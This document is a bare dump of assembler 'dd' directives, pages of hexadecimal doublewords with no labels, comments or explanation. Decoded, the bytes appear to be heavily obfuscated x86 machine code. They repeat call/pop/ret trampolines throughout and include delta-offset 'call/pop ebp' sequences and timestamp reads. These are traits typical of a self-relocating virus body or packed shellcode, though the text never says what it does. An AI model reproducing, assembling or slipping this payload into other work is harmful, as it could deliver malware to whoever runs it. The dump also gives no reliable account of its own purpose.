dd 44810424h, 160424h, 55450000h, 73F2EEC3h, 441C7h, 66000000h
dd 8E4DE81h, 0BFE8B66h, 7C840FC0h, 6A000000h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h
dd 3154C350h, 18663711h, 28E0Fh, 0FE8B0000h, 6820Fh, 0BD890000h
dd 6482819h, 4E808D8Dh, 6A0648h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 150424h, 57470000h, 0E92B87C3h, 7, 55F054A6h
dd 8BA69ED3h, 481C65BDh, 5B806h, 81660000h, 0FFA4FEEEh
dd 0DD8D89E1h, 8D064816h, 4832198Dh, 56006A06h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1804h, 0C3564600h, 27D266A1h
dd 0ADBD8BB7h, 29064805h, 4810D185h, 7C01C706h, 6644AA72h
dd 181F38Bh, 1499CFCBh, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 17h, 0B2C35747h, 66758B56h, 0C7705DBEh, 753C0441h
dd 0BD8BCE78h, 64814D5h, 10044181h, 6A31D6D7h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h
dd 296BC350h, 0F61735E3h, 0FAB70F60h, 0BD8B006Ah, 648165Dh
dd 3219858Dh, 6A0648h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 1A0424h, 50400000h, 41B011C3h, 77DF2173h, 1B91B58Bh
dd 8B500648h, 240489F0h, 0BE8h, 0A22A3000h, 4F3A05F6h
dd 734561DEh, 781BD8Bh, 895F0648h, 480DB995h, 0DD95FF06h
dd 906481Ch, 4814999Dh, 198D8D06h, 6A064832h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
dd 1152C356h, 8D896052h, 6480509h, 1AA99D23h, 0C7610648h
dd 1, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1D04h, 0C3524200h, 119DA59Dh, 0ECCE3BABh, 800F4D3Dh
dd 0
dd 441C7h, 31000000h, 4808359Dh, 0FC00B06h, 8D84h, 0F98B6600h
dd 4E808D8Dh, 6A0648h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 1D0424h, 50400000h, 0F7E94DC3h, 9DC6F964h, 0F88D474h
dd 688h, 37C68100h, 0F84B6314h, 5B8h, 50006A00h, 3E8h
dd 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h
dd 665284F6h, 5E54ABBEh, 154D9D29h, 0E1FF0648h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 26C35040h, 0C3E38FE6h
dd 8D8DD32Ah, 6483219h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 15h, 52C35343h, 0C7F38BC6h, 0CA95A501h, 0CB018154h
dd 6A1499CFh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 18042444h, 45000000h, 0D3DCC355h, 8BCAE837h, 4817F1B5h
dd 441C706h, 0CE5F5969h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 15h, 51C35343h, 44181CAh, 31D6D710h, 1A05B58Bh
dd 6A0648h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 14h, 9DC35040h, 0BF18529h, 7E90648h, 2000000h, 0FBCF7F2Ch
dd 858D5F68h, 6483219h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 14h, 9FC35545h, 1FCE8166h, 8A0F907Ch, 2, 0BE50F18Bh
dd 5537D0EDh, 51006A90h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1904h, 0C3514100h, 8F9FD838h, 95FFF582h, 6481CDDh, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0E7C35040h, 0F9417674h
dd 4254A8B9h, 0FFB70F55h, 32198D8Dh, 6A0648h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 1C0424h, 50400000h, 551F55C3h
dd 0D2643A98h, 0B5230FADh, 64805B1h, 1C7h, 0B58B0000h
dd 64806D5h, 441C7h, 6A000000h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 16042444h, 40000000h, 0A11DC350h, 0FC00B33h
dd 0A284h, 6870F00h, 8B000000h, 4829B5B5h, 808D8D06h, 0E906484Eh
dd 0Bh, 3CAC58F8h, 88DAF21Fh, 60FF3770h, 0C15958Bh, 11E80648h
dd 0BE000000h, 3880ED75h, 0B6BF6ED9h, 9439751h, 40B3A326h
dd 17BD9523h, 615E0648h, 5B8h, 53006A00h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1D04h, 0C3534300h, 1DC9BED8h
dd 1F0E925Ch, 8D897B54h, 6482701h, 0BDD8589h, 0E1FF0648h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 7FC35242h
dd 29BD8B8Eh, 306482Ch, 0F0F4E9CAh, 6E9FFFFh, 0B3000000h
dd 0CA3FF01Eh, 6AC18BC9h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 15042444h, 47000000h, 3285C357h, 4E5BD89h
dd 4EB0648h, 0
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 0E5C35040h
dd 8BFF6967h, 480545B5h, 1DBD2906h, 8D064806h, 48125585h
dd 0A5B58B06h, 9006482Bh, 0DE8h, 3ECCD500h, 15B93C86h
dd 2A986529h, 10E950DAh, 34000000h, 2E184B23h, 2511AFF0h
dd 5F47A617h, 5E8E428Fh, 0CE950h, 19E90000h, 4659C27Ah
dd 878A624Eh, 0E89074D8h, 6, 46ADB3DEh, 0B58B555Ah, 6480C9Dh
dd 29006A5Eh, 48333DBDh, 6A006A06h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 0CB11C351h
dd 85BEC1B7h, 0E8107CACh, 10h, 7F642D43h, 670EAAF7h, 0D4EC7788h
dd 0B5D8FE40h, 180D9589h, 8D5E0648h, 4BE73985h, 56006A06h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h
dd 17DA4B75h, 4DB58BF5h, 83064800h, 0B58B05C0h, 648332Dh
dd 8B665090h, 6A90F0h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 1A0424h, 52420000h, 521528C3h, 66EF60C6h, 68A0Fh, 0BD890000h
dd 6480D91h, 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 190424h, 52420000h, 8BD1A0C3h, 8B6B760Eh, 4808F5B5h
dd 0F9006A06h, 2B2D95FFh, 6A0648h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 170424h, 51410000h, 70FEA8C3h, 389D8D2Dh
dd 1064B99h, 482C41BDh, 66D3FF06h, 92D9EE81h, 1AD185FFh
dd 6A0648h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h
dd 57470000h, 10E98EC3h, 0E8000009h, 0
dd 43ED815Dh, 0E8064BE7h, 8, 0F421063Bh, 0DC61B76Bh, 14830Fh
dd 0FE90000h, 0D5000000h, 0BA326D16h, 0A2BDE184h, 0C453DABFh
dd 815E5D33h, 48082DBDh, 7D006h, 0F5860F00h, 8B000000h
dd 4811919Dh, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1604h, 0C3534300h, 8165CF09h, 100E3h, 57006A00h, 3E8h
dd 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h
dd 8CB45DAEh, 15B58B24h, 0B064831h, 5A850FDBh, 0BE000000h
dd 1BF4F754h, 0E577BD83h, 0F00064Bh, 1184h, 55B58B00h
dd 0E9064810h, 4Ch, 1465B58Bh, 85C70648h, 64BE577h, 1
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 3CC35141h
dd 1C65BD01h, 15E90648h, 89000000h, 480F6DB5h, 7785C706h
dd 64BE5h, 0BE000000h, 0B822AE1h, 11919D8Dh, 6A0648h, 3E850h
dd 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
dd 71F949C3h, 185C8364h, 81DDDA69h, 0FFFEFF23h, 0F7B70FFFh
dd 6ADB8C66h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 15042444h, 41000000h, 0E24BC351h, 0CC5BD89h, 0C3F60648h
dd 59840F04h, 1000000h, 481529B5h, 0F195FF06h, 6A064828h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1C042444h
dd 47000000h, 4195C357h, 2053361Eh, 50994F8Bh, 6A240489h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 18042444h
dd 42000000h, 0D1C2C352h, 66B4CD35h, 0F602E681h, 3ABE9h
dd 12E900h, 63B50000h, 847EB233h, 0D74CE6E5h, 0B293A1FDh
dd 183F79Eh, 10E900B0h, 0C8000000h, 0F28F8FC2h, 209C92EAh
dd 27BB337Ah, 0E6B3FC46h, 6840F70h, 8B000000h, 4829D5B5h
dd 6A71E406h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 14042444h, 40000000h, 8B68C350h, 48145DB5h, 0F2B70F06h
dd 53D8B60Fh, 1261B589h, 0BA5E0648h, 6, 0E857006Ah, 3
dd 5FC35F20h, 4247C89h, 4244481h, 1Ah, 1CC35747h, 0CB9C6B8Bh
dd 0C38B77D0h, 0C1FCF28Bh, 8B6604E8h, 0E2F766F0h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 11C35040h, 0ED2268C8h
dd 0BE513B77h, 18A603EAh, 8BD82B5Eh, 480E6DB5h, 0F78B5006h
dd 89241C89h, 4810B18Dh, 2DB5FF06h, 0FF064808h, 48092D95h
dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h
dd 0C3514100h, 23F0D2D9h, 0B06EB4E7h, 56006A00h, 3E8h
dd 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h
dd 136E255Eh, 16A1B58Bh, 70E60648h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 17h, 5DC35646h, 0E4A32B77h, 57006A71h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h
dd 3C6AEB93h, 2D830F61h, 89000002h, 4814B98Dh, 0D8B60F06h
dd 6BAF5h, 5E530000h, 1679B58Bh, 0C38B0648h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 9AC35141h, 690231C7h
dd 8D014B8Ch, 6482789h, 21D99D89h, 0E8C10648h, 50006A04h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h
dd 6679240Fh, 0B58BE2F7h, 6480A25h, 30619589h, 0D82B0648h
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 0FCC35040h
dd 3E6605AAh, 661D80F8h, 6A58F38Bh, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 1B042444h, 40000000h, 0AB73C350h
dd 54C3B56Dh, 0E6819CBFh, 0C5549A6h, 880FD82Bh, 15Ch, 25C68166h
dd 7B9BCh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 1A0424h, 52420000h, 74E65DC3h, 8589DE67h, 0C4F68166h
dd 64E68144h, 83354747h, 12E800C1h, 0E1000000h, 40F79554h
dd 37539BFBh, 4023FB68h, 8E1285F7h, 0F08B66CDh, 0FD93B5Eh
dd 0FF86h, 71B58B00h, 66064809h, 6AD98Ch, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 190424h, 57470000h, 0EF047C3h
dd 0E964E68Dh, 9, 0D71404A1h, 4DB4DC75h, 4C1F68Ch, 9C840Fh
dd 0F8570000h, 0F195FF5Eh, 0BE064828h, 2CD7086Fh, 75B58B5Bh
dd 2B06482Fh, 53006AC3h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1A04h, 0C3534300h, 0FA5178Ah, 0FABFA7Bh, 58Ah, 530ABE00h
dd 343D08CFh, 0F000008h, 4D86h, 55006A00h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1A04h, 0C3554500h, 970C1F36h
dd 0E8BE2A94h, 5, 0D9DB81E1h, 0D59D017Fh, 5E064813h, 37E9h
dd 0EE800h, 12A90000h, 54FB5BAAh, 0C663337h, 0D0A030ACh
dd 0C08B5EF9h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 18h, 0B4C35646h, 0C41B24A1h, 0D88BC38Bh, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 80C35242h, 0F1B7FBCCh
dd 60441AA4h, 0BE957h, 21A90000h, 0A525EFB5h, 0E07B8D15h
dd 0C7615ADDh, 482FC985h, 563B7706h, 5E93Ch, 0CEDB0000h
dd 8B43C9CCh, 57006AC0h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1D04h, 0C3574700h, 96992BC5h, 0D032138Fh, 0B58B8634h
dd 6481485h, 82DBD81h, 7D00648h, 850F0000h, 10h, 1AD5B58Bh
dd 85FF0648h, 648082Dh, 44EBBE66h, 82DB5FFh, 0B58B0648h
dd 6481FB9h, 92D95FFh, 6A0648h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 160424h, 55450000h, 660BC8C3h, 66D88B90h
dd 0BD83F78Bh, 648202Dh, 2F840F00h, 89000000h, 481F01BDh
dd 247E906h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 160424h, 55450000h, 0A24645C3h, 2839B58Bh, 0DF8C0648h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 5DC35242h
dd 66953F81h, 4C7F7h, 1F7850Fh, 0F6810000h, 261A5CBDh
dd 0BFh, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1504h, 0C3524200h, 8166CE3Ch, 8D5240EEh, 4BEF959Dh
dd 0EEBE9306h, 502A78C1h, 2D1BDEBEh, 6A932Eh, 3E850h, 58200000h
dd 448958C3h, 44810424h, 170424h, 50400000h, 8CA4B3C3h
dd 35FF64B4h, 0
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 0B6C35141h
dd 0BE8h, 694A0500h, 21A31C04h, 71D7206Fh, 2589645Eh, 0
dd 5850F60h, 66000000h, 0C2B3C981h, 1AF98531h, 8B610648h
dd 53006AC4h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h
dd 0C3534300h, 628B5578h, 0B58B34E5h, 64831B5h, 0EB01CDh
dd 2719B503h, 6AF90648h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 1B042444h, 41000000h, 8AAFC351h, 826296A2h
dd 0C6815ECAh, 225D34D5h, 58F64h, 6A000000h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h
dd 9FDEC352h, 6AC7FDB5h, 6A04C483h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 17042444h, 40000000h, 0A2BEC350h
dd 4ABE8A82h, 0B258951h, 96840FC0h, 0BE000000h, 51748BBEh
dd 4E80BD8Dh, 0B5030648h, 6480CB9h, 5B8h, 5820F00h, 66000000h
dd 0A0A8E681h, 6AE7FFh, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 1B0424h, 52420000h, 94FC41C3h, 0ACD916F9h, 45B8BECFh
dd 8B577DD0h, 8B10245Ch, 0B883h, 40B60F00h, 89C8FE01h
dd 0B083h, 0B8838300h, 2000000h, 0C3C0335Fh, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0DDC35141h, 4A875C60h
dd 297B5F13h, 4805899Dh, 0E9CA2B06h, 0FFFFF757h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 0ECC35747h, 84429DDCh
dd 45F9629h, 0FE83Ah, 20C50000h, 43C04Dh, 4203496Fh, 0FC79DD7Ah
dd 6860FECh, 31000000h, 480A6DB5h, 8D0F5E06h, 5, 0A5F68166h
dd 0C78160A7h, 6490C4A2h, 29198D03h, 89600648h, 4811A985h
dd 8B616106h, 0CE951C1h, 89000000h, 293B1CFCh, 5C475D53h
dd 5F2DAF3Ch, 4EBh, 6A0000h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 170424h, 51410000h, 0D422B9C3h, 0BE6656EEh
dd 895E96B5h, 48020585h, 2820F06h, 8B000000h, 55858DF1h
dd 6A064812h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 1B042444h, 45000000h, 0F1E5C355h, 0A806C06Ah, 0BD89181Bh
dd 6480AF1h, 29905090h, 4809B1BDh, 6A006A06h, 0F78B6600h
dd 0F1C2858Dh, 7E9064Bh, 0F5000000h, 0FC6CB1Ah, 0C0838F92h
dd 55BD8B05h, 5006482Fh, 13E8h, 83FF7900h, 2D04A8C9h, 1417730Fh
dd 600D7BD8h, 4424ACh, 0EE8h, 2668DC00h, 0C615749Ch, 0DA213421h
dd 50D7A225h, 5A310F52h, 895F5E58h, 0BE662404h, 6ACFA8h
dd 6AFA8B66h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1504h, 0C3574700h, 0B52BBEECh, 6480C89h, 0E1C68166h
dd 2D95FFC7h, 6A06482Bh, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 14042444h, 41000000h, 8DDDC351h, 4B99389Dh
dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h
dd 0C3564600h, 0FC5771B6h, 31D3FF5Fh, 4817859Dh, 0D185FF06h
dd 0E906481Ah, 7, 91323AD6h, 0E92F957Ch, 81Ch, 0E8h, 0ED815D00h
dd 64BF1CCh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 1Ah, 41C35040h, 6491CA57h, 0BD8969A3h, 64821D9h, 82DBD81h
dd 7D00648h, 860F0000h, 176h, 0B59D8BF8h, 51064812h, 0E3815Eh
dd 66000001h, 660AC4BFh, 0B597C781h, 850FDB0Bh, 0C8h, 29418D89h
dd 0BD830648h, 64BF065h, 56840F00h, 6A000000h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
dd 0EEBFC356h, 0BE9BBh, 48E30000h, 0FEF81CCBh, 0C7707840h
dd 0C4E967h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 1B0424h, 52420000h, 0CD9D29C3h, 3E6BDD0Ch, 6585C7ABh
dd 1064BF0h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 1A042444h, 45000000h, 0C3FC355h, 0A4DEC8B7h
dd 0E9BD2389h, 0E9064804h, 6Ah, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 14h, 1C35040h, 0CB1B589h, 8D890648h
dd 6482ECDh, 0F06585C7h, 64Bh, 6A0000h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 0ADD477C3h
dd 0CE076ED1h, 0FE92840h, 0E2000000h, 0B1289EFDh, 4FB2CACEh
dd 376D6E6h, 9D8D8DC1h, 64812B5h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 16h, 97C35747h, 23817300h, 0FFFFFEFFh
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 0C35747h
dd 0BF665522h, 8C6619C5h, 0EE8166DBh, 0C3F6B7DBh, 49840F04h
dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 17042444h, 41000000h, 18E1C351h, 95FFB0F4h, 64828F1h
dd 2298531h, 60500648h, 61605250h, 0BF66310Fh, 585A693Bh
dd 61D98B66h, 0BF240489h, 4385A797h, 890ABE66h, 406E9h
dd 9BD8900h, 8B064814h, 0E600B0F3h, 6A71E470h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h
dd 0BE5FC356h, 42867C31h, 29D8B60Fh, 4809259Dh, 6BA06h
dd 0DF810000h, 22D915BDh, 6AC38Bh, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 140424h, 56460000h, 0BD313DC3h, 6480BFDh
dd 0F04E8C1h, 687h, 25BD8900h, 66064809h, 6AE2F7h, 3E856h
dd 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
dd 6552BAC3h, 6E9h, 0C99C7100h, 2B8C7FF3h, 55006AD8h, 3E8h
dd 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h
dd 41340172h, 0BE9h, 8412CB00h, 941A6F9h, 4AD2DB64h, 0EBE6693h
dd 0AE95067h, 0EB000000h, 4532C604h, 0B535C986h, 11E9939Bh
dd 0B6000000h, 0C3831950h, 0F45A2F0Ah, 0B189C24Ah, 61F9D97Dh
dd 82DB5FFh, 6A0648h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 1B0424h, 50400000h, 5270BDC3h, 0A4E713h, 2D95FFC6h
dd 29064809h, 4830C995h, 6A00B006h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 7877C351h
dd 8D1D00A1h, 0BABE53F3h, 5E70970Fh, 6A70E6h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 1B0424h, 50400000h, 0E5FA75C3h
dd 0F36104DCh, 0FAB70F17h, 2F618D09h, 71E40648h, 0FE9h
dd 4B81F100h, 29093CF6h, 0A0E49E61h, 0E25E7C44h, 830F613Ch
dd 25Bh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 1Bh, 36C35646h, 4E1AB606h, 0E84AD4EEh, 0Dh, 387EFEEEh
dd 640DB737h, 1A8CC25Fh, 8E85FDCh, 43000000h, 0B3C1B125h
dd 0E89C869Eh, 12h, 3FFD1DB0h, 0C6DFEA31h, 7933202Bh, 7D4A11FAh
dd 5F5E26A4h, 0E9D8B60Fh, 5, 93E39F1Ch, 6BA54h, 0C38B0000h
dd 1E880Fh, 12E80000h, 0BC000000h, 127D40E9h, 3CF8FAD6h
dd 0CF1944ABh, 99EDC475h, 998D89B0h, 5E064804h, 6A04E8C1h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1B042444h
dd 42000000h, 0A5D9C352h, 813F8D91h, 8D89F689h, 6481AE1h
dd 2999BD8Bh, 0BD330648h, 6480229h, 0E9E2F766h, 7, 0B3D71224h
dd 2BA579D4h, 15B58BD8h, 0F06482Bh, 6A58F8BFh, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h
dd 15042444h, 46000000h, 1181C356h, 2D5616BFh, 0FD82B6Eh
dd 14A88h, 0EE900h, 499B0000h, 30ED25A7h, 883E769Bh, 0E1B4A0F4h
dd 7B9h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1904h, 0C3514100h, 0A2E4D0C2h, 0C1832B60h, 0FD93B00h
dd 10686h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1904h, 0C3574700h, 72997FA6h, 8C666ED5h, 52006AD9h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h, 0C3524200h
dd 4C1F666h, 0B5840Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 160424h, 52420000h, 0A7831DC3h, 28F195FFh
dd 8D890648h, 6480DEDh, 6820F5Bh, 89000000h, 4815C585h
dd 6AC32B06h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 19042444h, 47000000h, 1582C357h, 2D348DC4h, 14E9h, 0EA88A400h
dd 0C087C210h, 0B0CDF93Dh, 6CDCCDEDh, 0DA817EF9h, 8343D05h
dd 860F0000h, 37h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 1Ah, 0E7C35141h, 5CD10B49h, 0CF813286h, 15497E2Dh
dd 5E9h, 0D6C6B000h, 8E92816h, 8B000000h, 959D89C0h, 8B064822h
dd 0FD88BC3h, 58Eh, 175BF00h, 85C71A01h, 6481191h, 186CBF75h
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0F7C35545h
dd 64CF0227h, 0BD8B0C11h, 64806DDh, 6AC08Bh, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 160424h, 55450000h, 0AB969DC3h
dd 81FEB70Fh, 48082DBDh, 7D006h, 2F850F00h, 6A000000h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 16042444h
dd 46000000h, 5199C356h, 5D781F0h, 0FF7D43BBh, 48082D85h
dd 0DE816606h, 0B5FF03E7h, 648082Dh, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 1Ah, 2C35646h, 5FEAB1ECh, 95FF8C08h
dd 648092Dh, 0C458589h, 66900648h, 0BE66F88Bh, 6A1E69h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
dd 0F99F72C3h, 15BD8B7Fh, 0E9064830h, 13h, 300B62E9h, 2F517E49h
dd 0A60B88FBh, 0E001C73h, 0FC86FB1Dh, 6E8h, 67E06500h
dd 89CDA93Ah, 480A8985h, 0AE906h, 59720000h, 6E5F6056h
dd 0CD0F0765h, 57006A5Fh, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1804h, 0C3574700h, 631970CAh, 89E2BE37h
dd 0FA8B7155h, 33098D89h, 81660648h, 8B2722EEh, 480D45BDh
dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h
dd 0C3534300h, 0D7D2B64Eh, 8B0C7F73h, 480901BDh, 0DD9D0106h
dd 8906481Bh, 4805C585h, 5BD8B06h, 6A064802h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h
dd 1F2BC350h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 19h, 35C35141h, 21DDF07h, 0C2BF661Dh, 0F7EAE9B6h, 0BD8BFFFFh
dd 6482F21h, 6AC18Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 180424h, 53430000h, 0F2D273C3h, 800FD4CFh, 2, 0D781F98Bh
dd 1C3FD5D2h, 4EBh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 170424h, 57470000h, 7F9EAAC3h, 0B19D0141h
dd 8B06480Dh, 55858DF7h, 0FC064812h, 0DE890h, 72540000h
dd 0C75DD342h, 49984A8Ah, 66586916h, 505EFE8Bh, 70956EBEh
dd 6A9060h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h
dd 56460000h, 0AFC533C3h, 6AFBBF0Fh, 0DDBD2900h, 6A064829h
dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h
dd 0C3534300h, 66EF60C6h, 0FEBF0F00h, 0FC43858Dh, 6A064Bh
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
dd 0F78E9CC3h, 0BD8B1F73h, 6480B89h, 12830Fh, 0DE90000h
dd 72000000h, 59DA6D8Eh, 7CEBEDEEh, 0D00638B7h, 6A05C083h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 18042444h
dd 42000000h, 0AD31C352h, 50CB702Ch, 933DF81h, 505E063Ah
dd 810Fh, 4890000h, 51006A24h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1B04h, 0C3514100h, 0B5F0F4D8h, 2D3F8968h
dd 16D98D29h, 6A0648h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 17h, 36C35040h, 8B468CEEh, 4831B1BDh, 6A006A06h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1A042444h
dd 47000000h, 0F6D0C357h, 0AEFE9E1Bh, 0F19D896Dh, 6606480Eh
dd 1797D781h, 13E8h, 74B3F700h, 0F48B4712h, 0C77B1AC5h
dd 0F48D0408h, 2C8DAC97h, 65B533h, 0FF5F0648h, 482B2D95h
dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h
dd 0C3564600h, 81ABE7A0h, 6880Fh, 0E7810000h, 4F0E28E9h
dd 99389D8Dh, 0D5BE064Bh, 0FF2312D0h, 51006AD3h, 3E8h
dd 0C3592000h, 244C8959h, 24448104h, 1A04h, 0C3514100h
dd 673D007h, 0FFAE7029h, 481AD185h, 0EE906h, 8B100000h
dd 0FAFBB1DFh, 3B9FE42Bh, 0A2E4D0C2h, 74AE9h, 0E800h, 815D0000h
dd 4BFC4DEDh, 18D3106h, 81064817h, 48082DBDh, 7D006h, 16860F00h
dd 6A000001h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 17042444h, 45000000h, 4C41C355h, 0BD8BC538h, 64808FDh
dd 29659D8Bh, 0EE810648h, 56FC2FE1h, 100E381h, 0BD010000h
dd 648062Dh, 850FDB0Bh, 84h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 14h, 64C35343h, 10E8h, 538BC400h
dd 277DDFA7h, 1C7CA2A8h, 18675EBBh, 835FFC8Ah, 4BFA15BDh
dd 840F0006h, 10h, 5F19D31h, 49E90648h, 0BE000000h, 3688ED0Ah
dd 0FA1585C7h, 1064Bh, 6A0000h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 190424h, 52420000h, 0A16E23C3h, 0E9F6961Eh
dd 14h, 7E2EBF66h, 0FA1585C7h, 64Bh, 9D890000h, 6482A89h
dd 29659D8Dh, 6A0648h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 140424h, 50400000h, 2381F9C3h, 0FFFFFEFFh, 0B830Fh
dd 66600000h, 0B91161BAh, 638D375Ch, 2ABF6661h, 0DB8C66B2h
dd 2D853360h, 0F06481Ah, 28Ch, 61FE8B00h, 0F04C3F6h, 3184h
dd 70D68100h, 0FF6803C1h, 4828F195h, 0BD8D3106h, 81064815h
